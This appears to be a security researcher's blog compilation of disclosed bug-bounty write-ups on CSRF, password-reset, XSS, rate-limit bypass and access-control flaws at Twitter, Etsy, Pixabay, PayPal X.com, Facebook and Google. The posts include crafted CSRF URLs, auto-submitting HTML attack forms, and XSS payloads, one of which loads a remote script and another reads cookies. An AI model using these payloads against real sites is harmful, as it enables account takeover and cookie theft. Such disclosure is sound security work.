Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities

How we were able to find Twitter Follow Retweet and Tweet Favourite CSRF

We want to share 3 of our findings on Twitter which me and my friend Krutarth have reported to them on March 2014. My good friend @KrutarthShukla was testing Twitter and he was trying
deeply to find something on it. And finally he got a Follow CSRF and
after sometime later I also got Reweet & Tweet Favourite CSRF. So,
we found 3 CSRF vulnerabilities on Twitter.

As you know On Twitter they send a mail almost daily with a following subject line Do you know test, tester and testing on Twitter? which contains the list of peoples who may know you on Twitter with there profile link which has a follow button which contains a link with a Url embeded in it using which you can follow the suggested peoples by twitter.



Also they send a mail once or twice in a month with a following subject line Tweets from Test, Tester, Testing and 5 others which Contains the list trends on Twitter for that month which contains Retweet and Tweet Favourite links with a Url embeded in it using which you can Retweet the tweets and make the Tweets Favourite which were suggested by Twitter. The links were as mentioned below.

1. To Follow Someone Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail&sig=e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c&uid=85273509&iid=60cfddd3808c47c29f88ec5e3a7f5742&nid=42+483+20131130&t=1



2. To Retweet Someones Tweets Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B2013113

3. To Make Someones Tweets Favourite Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

So using these links the attacker can craft his own CSRF payloads by changing the nid, screen_name, tweet_id, iid, sig, ea_s, ea_e,
ea_u and uid parameters value to attackers profile which can be executed using GET request on any Twitter account as the Anti-CSRF token parameter named as Sig and its values can be reused on any other Twitter account nor it ever expires.



Krutarth
found the First one Using which an Attacker can Force any Twitter User
to Follow the Attacker Twitter Profile Via CSRF on twitter main domain.
The other two I have found Using which an Attacker can Force Any Twitter
User to Re-Tweet Attacker Desired Tweets and Make Favourite Attackers
Tweets Via CSRF on twitter main domain.

So here are the Steps to Execute the Attack:

1. Twitter Follow CSRF

i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Follow CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26uid%3D85273509%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26nid%3D42%2B483%2B20131130%26t%3D1

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start following the attackers Twitter profile.

2. Twitter Retweet CSRF

i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Re-Tweet CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start re-tweeting the attacker desired tweets.

3. Twitter Tweet Favourite CSRF

1. First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Tweet Favourite CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

2. As this CSRF vulnerable url is executed in any twitter account the victims will start Making Attackers Tweets as his favourite tweets.

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities(Quick) POC Video:

After some analysis we have found that when all these CSRF's were executing then they were actually triggering the follow, retweet and favourite button. But as the request executed after those buttons clicking then each of those request were containing the Anti-CSRF token which was properly getting validated on server-side nor resuable an it expires also but as the attacker was able to successfully force the Twitter users to click on the button without his permission, so even though the second request contains Anti-CSRF token cannot prevent this attack.

Rootcause:

Sig
token & its value e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c was
reuseable for all twitter account and it was not expiring ever also get
request was allowed.

Impact:

All Twitter users are vulnerable to this CSRF attack using these vulnerabilities that Attacker Force Any Twitter User to Follow, Re-Tweet and Make Favourite Attackers Tweet Via CSRF.

Recommendation:

Sig token & its value c069a14f1b1cca7b763679029fa3a0f4d94d40cd shall never be reuseable in the attacker own acount and any other twitter users account.



It shall be expired after use and it shall be 1 time useable.



It should be generated randomly on each request.



Instead of get method PUT method shall be used.

The vulnerabilities were mitigated by Twitter Security Team in 3 weeks.

So in this way, one can find CSRF also this way can be used to find same type of
vulnerabilities on different websites.



Suggestions and Feedbacks are welcome.

Account Compromise Using Password Reset Vulnerability

Account Compromise Using Password Reset Link

While
researching and working on bug bounties I have found that by using
Password Link we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.

Using
this vulnerability the attacker can modify the email to any
victims email to change their password and in this way he can also reset
all passwords of all the accounts and can successfully compromise the
victims account as after opening the password reset link sent to the user it show the email id input field with attacker@gmail.com email id which was editable input field and also 2 more blank fields to change the new password and the password reset token can be used
for other users. 

Please Note: There is no need to decode the password reset token values etc nor there was any client side validation.



Steps to Execute the Attack:



1. Open https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/

its will display email filed with attacker@gmail.com email id and the 2 blank field to change the password.



2. now the attacker will change the mail id to victim@gmail.com and will submit his desired password and then he will submit this password reset form.



3. now you will see that the other users victim@gmail password will be changed and the attacker will be logged into the victims account i.e victim@gmail.com



So in this way using the above mentioned steps the attacker can easily compromise any users account of that website.



Password Reset Vulnerability POC Screenshot:

Attackers Email ID: attacker@gmail.com and his password reset link:



https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/

 So in this way the attacker can Takeover on any users account.

                                       



Impact: 

The
token generated for the activation link isn’t re-checked and no
validation is done for associated emailID field, allowing an attacker to
change the value to a known email address and reset
their password. This provides a trivial route for an attacker to gain
access to accounts or cause a  denial of service to users on the
Application.

Recommendation: 

Input
from the user should be treated as untrusted and re-validated when sent
to the server. The recommended approach is to generate a onetime token
which is linked to the user account, this can be passed with the onetime
random token and shall expire once the
password has been reset also the email parameter shall not be editable. Additionally, ensure if the identifier is not
passed that this won’t default to updating all accounts.

So
in this way one can Takeover on the victims accounts using the Password
Reset Link also this way can be used to find
same type of
vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

InVision Rate Limiting Bypass

How I was able To Bypass InVision Rate Limiting



I want to share one of my finding on InVision which I have reported to them on 16th March 2014.

I have found that InVision
following Url https://projects.invisionapp.com/d/login was vulnerable to
Bruteforce attacks even when the Rate-Limting is implement for all the InVision users account and even when the victims account is locked.

So first I tried to do the Status Code Value or Response Code Value Analysis but it was same as 200 for all Right & Wrong Password attempts also the error message was generic for all Right & Wrong Password Attempts.

Then I tried to do the Length Code Value Analysis and I found that for Right Password the Length Code Value always Same and
Constant as 7501 from the Wrong Password Length Code Values.

But there were 2 drawbacks 1st that in real world scenario how an attacker will know the Length Code Value for the Right Password of the victims account because the Length Code Value may vary for each victims account and the 2nd drawback was that even if the attacker get the Right Password he can't get logged into the victims account as it was getting locked once the Rate Limting is enabled.

So to find that I created 5 dummy accounts on InVision and then I checked the each dummy accounts Right Passwords Length Code Values and I found that it was again same as 7501 for each of those dummy accounts different Right Passwords. So in this way I confirmed that the Right Password Length Code is always Same and Constant for all the Victims(Users) accounts. 

After some Analysis I found that the locked account of the victim is getting automatically unlocked after 30 minutes time. So once the attacker got the Right Password he can then access the victims locked account as it is automatically getting unlocked after 30 minutes time.

Rate Limiting BypassVulnerability POC Screenshot:

 



In this way the attacker was able to Bypass the Rate Limiting of InVision.





Impact:

The attacker can successfully bruteforce the passwords on any users acccount even when the rate limiting is enabled and this can lead
to account compromise.

Recommendation:

The Length Code Value for Right & Wrong Passwords shall always be Same for Any Users Account.





The account shall only be unlocked using a email which contains a Un-Lock account link.

.

 The vulnerability was mitigated by InVision Security Team within 6 days.

So in this way, one can
Bypass Rate Limting and can also compromise the victims
account also this technique can be used to find same type of
vulnerabilities on different websites.



Suggestions and Feedbacks are welcome.

How I was able to Read & Download Paypals X.com Users Private Email Attachments

Paypals X.com Failure to Restrict Url Access Vulnerability

I want to share one of my finding on Paypals X.com which I have reported to them in 3 January 2013.

I have found that Paypal X.com following Url https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
was vulnerable to Failure to Restrict Url Access Vulnerability as the
email Attachments Url can be accessed without Login or Authentication
nor there was any Authorization check or prevention to mitigate this
attack.

Steps to Regenerate the Vulnerability:



1. Create two X.com Users account for testing or for regenerating the vulnerabiltity.



2.
Using the 1st(ajaysinghnegi01) user account then I have composed an
email message using the compose feature and attached a file named:
failure to restrict url vul for any attachments.txt and then I have sent
that mail to the 2nd(ajaysinghnegi02) user account.



3.
The 2nd user can access that attached file using by logging into his
account and by checking the recieved emails attachment by accessing the
followiing Url
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt.



4.
As this path is same for all email users emails attachments
https://www.x.com/sites/default/files/ so the attacker crafts the Url
from https://www.x.com/sites/default/files/ to
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
by adding the file name with the file extention and also he replaced
each space with underscore(_). So he succesfully crafted the failure to
restrict Url
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
to access any other X.com users attachments without logging.

Failure to Restrict Vulnerable Url(For Regenerating this Vulnerability Open this Url in Any Browser Without Login):

https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt

Impact: Using this Failure to Restrict Url Access Vulnerability an attacker can
easily Read & Download all the private email attachments without
logging and all the X.com users were vulnerable to this attack.

Recommendation:

The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.



The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.



The
enforcement mechanism(s) should deny all access by default, requiring
explicit grants to specific users and roles for access to every page.



If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

The vulnerability was mitigated by Paypal Security Team within 3 days.

So
in this way I was able to Read & Download Paypals X.com Users
Private Email Attachments also this way can be used to find same type of

vulnerabilities on different websites.



Suggestions and Feedbacks are welcome.

Account Takeover Using Password Reset Vulnerability

Account Takeover Using Password Reset Functionality

While researching and working on bug bounties I have found that by using
Password Reset Functionality, Token & Link we can Takeover all the users account of a website if that site is vulnerable to this type of attack.

Using this vulnerability the attacker can modify the email md5 hash to any victims email
md5 hash to change their password and in this way he can also reset
all passwords of all the accounts and can successfully compromise the
victims account as the password reset link sent to the user includes the email address md5 hash and also the password reset token can be used for other users. 

Steps to Execute the Attack:

There was a precondition that an attacker shall now the victims email id md5 hash value.

Attackers Email ID: attackeremailid@gmail.com and his password reset link:

http://testsite.com/reset-password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t2102fadb4bd021805624f06ea4c8e4d38

The 1st part in the password reset Url before '/' is password reset token and the second part is the md5 hash of the users email id in which the 1st 28 values (74q55426l4q5u5m5c4s5l5m5n5t2) are same for each users email ids and the remaining last values were different for each users email id as they were the users email id md5 hash value. So, the attacker can decrypt the email hash values easily using the online available md5 encrypters and decrypters like: http://md5decryption.com also sometimes some websites use base 64 encoding(or other encodings) which can also be easily decrypted using the online available base64 encoders and decoders like: http://ostermiller.org/calc/encode.html.

Attackers Email ID: attackeremailid@gmail.com md5 hash value:

102fadb4bd021805624f06ea4c8e4d38

Victims Email ID: victimemailid@gmail.com md5 hash value:

05ebb8fb6ec39f50d33e19cd5719084d

1st 28 values which is same for each users email id hash:

74q55426l4q5u5m5c4s5l5m5n5t2

Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com:

http://testsite.com/reset-

password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t205ebb8fb6ec39f50d33e19cd5719084d

So in this way the attacker can Takeover on any users account.

                                       



Impact: 

The token generated for the activation link isn’t re-checked and no validation is done for associated emailID field, allowing an attacker to change the value to a known email address md5 hash value and reset their password. This provides a trivial route for an attacker to gain access to accounts or cause a  denial of service to users on the Application.

Recommendation: 

Input from the user should be treated as untrusted and re-validated when sent to the server. The recommended approach is to generate a onetime token which is linked to the user account, this can be passed with the onetime random token instead of the email ID hash value and expired once the password has been reset. Additionally, ensure if the identifier is not passed that this won’t default to updating all accounts.

So in this way one can Takeover on the victims accounts using the Password Reset Functionality, Token & Link also this way can be used to find same type of
vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Facebooks Boltpeters.com Configuration File Source Code Disclosure and Reflected XSS Vulnerabilties

Facebooks Boltpeters.com Configuration File Source Code Disclosure Vulnerability

I
want to share two of my finding on Facebooks Acquired domain
Boltpeters.com which I have reported to Facebook on 1 Feburary 2013.

I have found that Facebooks Acquired domain Boltpeters.com Configuration
File was accessible by crafting the config file path
http://boltpeters.com/wp-config.php into a backup file path
http://boltpeters.com/wp-config.php~

Steps to Regenerate the Vulnerability:

1.  To extract php source code with database name, MySQL database username
and its password, database hostname, database charset and database
collate etc. Open the following Url http://boltpeters.com/wp-config.php

2. Now change the the actual Url http://boltpeters.com/wp-config.php to http://boltpeters.com/wp-config.php~

3.
Now you can access the php source code with database name, MySQL
database username and its password, database hostname, database charset
and database collate etc as mentioned below:

Configuration File Source Code Disclosure Vulnerability POC Screenshot:

Impact: Configuration
files will disclose sensitive information that will help a malicious
attacker to prepare more advanced attacks. Using this Vulnerability an
attacker can
easily Extract Facebooks Boltpeters.com Database Users ID &
Password. 

Recommendation:

The sensitive files path shall not be directly accessible to any anonymous users.



The sensitive backup files path shall not be directly accessible to any anonymous users.

Remove
Configuration File from the web server. As an additional step, it is
recommended to implement a security policy within your organization to
disallow creation of temporary/backup files in directories accessible
from the web.

Filesystem
snapshots should not be accessible via the web if your document root is
on a filesystem using this technology. Configure your web server to
deny access to such directories.

Facebooks Boltpeters.com Reflected XSS

I have found that Facebook's
Boltpeters.com application is vulnerable to Reflected Cross
site Scripting attack as s parameter of this applications
following
Url http://boltpeters.com/?s=test
is used for inputting an searching but as there is no proper input
validation,
filtration or sanitation on server side nor there is any output encoding
etc to prevent this Reflected Cross site Scripting Vulnerability if the
attacker uses the cross domain XSS payload with the combination of
comments. So
the attacker easily can steal the cookies(as http only cookie attribute
missing) of any of those website users and can easily compromise there
account.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while searching & by Injecting the XSS Payload in Search field):

http://boltpeters.com/?s=test






Crafted XSS Vulnerable Url:

http://boltpeters.com/?s="><script src=//goo.gl/p2yht/><!--



XSS Payloads: "><script src=//goo.gl/p2yht/><!--



Vulnerable Parameter: s



Reflected XSS Vulnerability POC Screenshots:

Both the vulnerabilities were mitigated by Facebook Security Team within 5 days + (Rewarded me bounty for my Findings).

Suggestions and Feedbacks are welcome.

Account Compromise & Anti CSRF Token Bypass by Chaining Client-Side(Reflected) HTTP Parameter Pollution CSRF & Server-Side(Stored) HPP Vulnerabilities

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HPP & Stored HPP Vulnerabilities

While researching and working on bug bounties I have found that by using Reflected HTTP Parameter Pollution vulnerability we can bypass Anti-CSRF token validation and can execute CSRF and after that using the CSRF we can execute the Stored HPP vulnerabilty and can compromise any victims account if that site is vulnerable to these attacks.

 

The 1st challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that using Reflected HTTP Parameter Pollution vulnerability we can bypass the CSRF token validation even when the token is properly getting validated on server-side.

The actual
rootcause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. One more important point is that the if we try to use any other users CSRF token or old used CSRF token or any random CSRF token value using single CSRF token parameter then it was getting denied by the server and the request is getting blocked as the Anti-CSRF token was properly getting validated on the server-side.

The 2nd Challenge was to execute the Stored HTTP Parameter attack by finding the email parameter name and editing it with attackers email id. I have found that using CSRF vulnerability we can execute the Stored HPP vulnerability so using it we can edit the victims account email id to attackers email id but for that the attacker has to find the email id parameter name, so to find it the attacker can guess that parameter name, can fuzz it and can find the parameter name by using the forget password, reset password or login page Urls.

The
actual
rootcause of this vulnerability existence is that if the email id parameter is added with the attackers email id in the request using the CSRF vulnerability then the uneditable email id of victims account is getting edited or changed with the attackers email id.



In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">

<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta241" />

<input type="hidden" name="firstname" value="ajay" />

<input type="hidden" name="lastname" value="negi" />

</form>

</body>

</html>

2. After that add the same Anti-CSRF token parameter name again with any random value as token.

CSRF Token Bypass Via Reflected HPP (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value):

<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">

<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />

<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />

<input type="hidden" name="firstname" value="ajay" />

<input type="hidden" name="lastname" value="negi" />

</form>

</body>

</html>

3. Now add the Email ID parameter value with the attackers email id.

4. Then send this crafted CSRF payload code as a link to the victim.

5. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HTTP Parameter Pollution CSRF & Stored HPP Vulnerabilities (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value and Email Parameter Value):

<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="https://www.site.com/profile/account_information/edit.htm" method="POST" enctype="multipart/form-data">

<input type="hidden" name="CSRF_Token" value="l11l1m1m1n2h4n4m6n67ll8m5m43m2nb2m22b2n2babsvxcstta111" />

<input type="hidden" name="CSRF_Token" value="absbsbssgsgsgsgg1g1g1g11g1g12g2g2g2g1gg1g1g1g1gh1hhg1h" />

<input type="hidden" name="firstname" value="ajay" />

<input type="hidden" name="lastname" value="negi" />

<input type="hidden" name="EmailID" value="attackertesting@gmail.com" />

</form>

</body>

</html>



Impact:

Anti-CSRF token validation can be bypassed and uneditable account login email is can be changed. This can lead
to account compromise.

Recommendation:

CSRF token shall be properly validated on server-side and put method can  also be used instead of post.



Filtering of all incoming sharing requests that include duplicate parameters.



So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.



Suggestions and Feedbacks are welcome.

2nd Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 2nd Time

I want to share my second finding on Etsy which I and Prashant have reported to Etsy Security Team on 24th March 2013. Previously I have shared my 1st Etsy Bruteforce Countermeasure Bypass you can find it here http://www.websecresearch.tech/2013/08/1st-etsy-bruteforce-vulnerabilty.html .

We have found that the Etsy.com login page
Url
https://www.etsy.com/signin?from_page=http%3A%2F%2Fwww.etsy.com%2Findex.php
is vulnerable to bruteforce attacks as there is no lockout policy, captcha implementation, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy
ACE S5830 and User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb;
GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1). Also note that the Etsy site is same if you browse it from mobile or from any desktop etc.



After some analysis we have found that the root cause for this vulnerability was that the Mobile User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1) was whitelisted by Etsy and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for this user-agent, as when attacker submits the wrong password in the password input field
it prompts that password was incorrect and when the attacker submits the
right password in the password input field while doing advance
bruteforcing then the is attacker is redirect to the victims accounts homepage.



That means that
the attacker can successfully does the bruteforce attack(or password
enumeration) as there is no account lockout policy, captcha, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy ACE S5830 and User Agent
(Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i
Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0
Mobile Safari/533.1) or by changing the user-agent and this attack can be
done manually or by creating a scripting in ruby or python languages. 

We have also found that this vulnerability can also be exploited using other mobile user-agents and also by using anonymous user-agents as Etsy have allowed any anonymous user-agents and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for the anonymous user-agents also. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within 24 hrs on 25th September 2012.

1st Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 1st Time

I want to share one of my finding on Etsy which I have reported to them on 12th September 2012.

I have found that the Etsy.com login page Url https://www.etsy.com/signin?from_page=http://www.etsy.com/index.php was vulnerable to bruteforce attacks even after captcha implementation as when attacker submits the wrong password in the password input field it prompts that password was incorrect and when the attacker submits the right password in the password input field while doing advance bruteforcing then there is no error message displayed, also there was no need to fill the captcha. 

That means that the attacker can successfully does the bruteforce attack(or password enumeration) even when there is captcha Implement and this attack can be also be done manually or by creating a script in ruby or python languages. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within few hours on 12th September 2012.

How I was able to Compromise Pixabay Users Account Via CSRF

Pixabay CSRF Vulnerabilty

I want to share one of my finding on Pixabay which I have reported to them in 14th April 2013.

I have found that Pixabay following Url http://pixabay.com/en/accounts/settings was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side. Using this CSRF vulnerability an attacker can easily change email id of any http://pixabay.com users account by changing his accounts email to his email id and after that the attacker can use the forget password option to reset the victims account password.

But there was a drawback that after changing the victims email id the victim himself have to confirm that newly added email id by logging into his account and then click on the confirmation link to confirm the addition of the newly added email id.

So now the attacker has only one option left that he again send the confirmation link(which is got into his email after the CSRF attack) to the victim while he is logged into his account, so it would be a 2 step CSRF attack but it was not easy to conduct 2 CSRF attacks one-by-one on the victims end.

So something striked that why not try to confirm that newly added email by himself. So for that the attacker created a dummy account of his own on pixabay.com and then tried to confirmed the newly added his own email id which he added into the victims pixabay account but unfortunately it didn't worked.

Again one more idea striked that why not try to confirm that newly added email by himself. So for this time the attacker opened that confirmation link without any logging or by sending it to victim. Now guess what it worked :P the newly added email id of attacker has been confirmed into the victims pixabay account and now the victim is not able to access his account nor he can reset his accounts password.

After that the attacker used the forget password option with his own email id which he has just confirmed into the victims account and received the victims user id and current password. In this way the attacker was able to compromise any pixabay users account.

Attack Scenario:



Attacker send a CSRF Payload Url http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ to the victims email id which contains attackers email s.test350@gmail.com.



As the victim open that Exploit Code Url while logged into his pixabay account the victim actually successfully executes the CSRF Payload on his own account and adds the attackers email id which is currently unverified and also sends an activation email on the added attackers unverified email id.



Now the attacker clicks on that activation link which was sent on his his email id and successfully activates his email id and verifies it, as the activation link can be used without login that was the major weakness in the countermeasure. After that the attacker uses the forget password option of the pixaway website with his email id s.test350@gmail.com and the attacker gets victims pixabay account password(in Plaintext) on his (attackers) email id s.test350@gmail.com and in this way the attacker successfully compromises the pixabay users account the same attack can be done on any pixabay.com users account.



CSRF Vulnerable Url:

http://pixabay.com/en/accounts/settings



CSRF Payload Hosted on Any File Upload Website:

http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ





CSRF Code:



<html>

<head>

</head>

<body onload=document.forms[0].submit();>

    <form action="http://pixabay.com/en/accounts/settings/" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="gender" value="m" />

      <input type="hidden" name="username" value="ajaysinghnegi" />

      <input type="hidden" name="first_name" value="ajay" />

      <input type="hidden" name="last_name" value="negi" />

      <input type="hidden" name="city" value="delhi" />

      <input type="hidden" name="country" value="india" />

      <input type="hidden" name="date_of_birth_month" value="1" />

      <input type="hidden" name="date_of_birth_day" value="1" />

      <input type="hidden" name="date_of_birth_year" value="1987" />

      <input type="hidden" name="image" value="" />

      <input type="hidden" name="about_me" value="security freak" />

      <input type="hidden" name="facebook" value="http://facebook.com/ajaysinghnegi" />

      <input type="hidden" name="twitter" value="https://twitter.com/ajaysinghnegi" />

      <input type="hidden" name="google_plus" value="https://plus.google.com/" />

      <input type="hidden" name="website" value="http://computersecuritywithethicalhacking.blogspot.in/" />

      <input type="hidden" name="options" value="MESSAGES" />

      <input type="hidden" name="options" value="NEWSLETTER" />

      <input type="hidden" name="options" value="SITE_NOTIFICATIONS" />

      <input type="hidden" name="options" value="COMMENT_NOTIFICATIONS" />

      <input type="hidden" name="options" value="FOLLOW_MAILS" />

      <input type="hidden" name="paypal" value="" />

      <input type="hidden" name="email" value="s.test350@gmail.com" />

</form>

</body>

</html>





The vulnerability has been mitigated now and the data used in the CSRF payload is all dummy data :).

Google Translate Manager Reflected XSS and Editor Deletion CSRF Vulnerabilities

Google Translate Manager Reflected XSS

I want to share two of my finding on Google Translator Manager which I have reported to Google in July 2012.

 

I have found that Google's translator manager editor application is vulnerable to Reflected Cross site Scripting attack as new parameter of this applications following Url https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee is used for inputting an email id but as there is no input validation, filtration or sanitation on server side nor there is any output encoding etc to prevent this Reflected Cross site Scripting Vulnerability. So the attacker easily can steal the cookies(as http only cookie attribute missing) of any of those website users and can easily compromise there account. This vulnerabiltiy can also be exploited using the Click Jacking vulnerability or CSRF as I have reported them also before.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while adding an Editor & by Injecting the XSS Payload in Invite field):

https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee



Crafted XSS Vulnerable Url:

https://translate.google.com/manager/editors?new=http://test.com<script>alert(document.cookie)</script>



XSS Payloads: http;//test.com<script>alert(document.cookie)</script>>



Vulnerable Parameter: new 



Reflected XSS Vulnerability POC Screenshots:

Google Translate Manager Editor Deletion CSRF

 

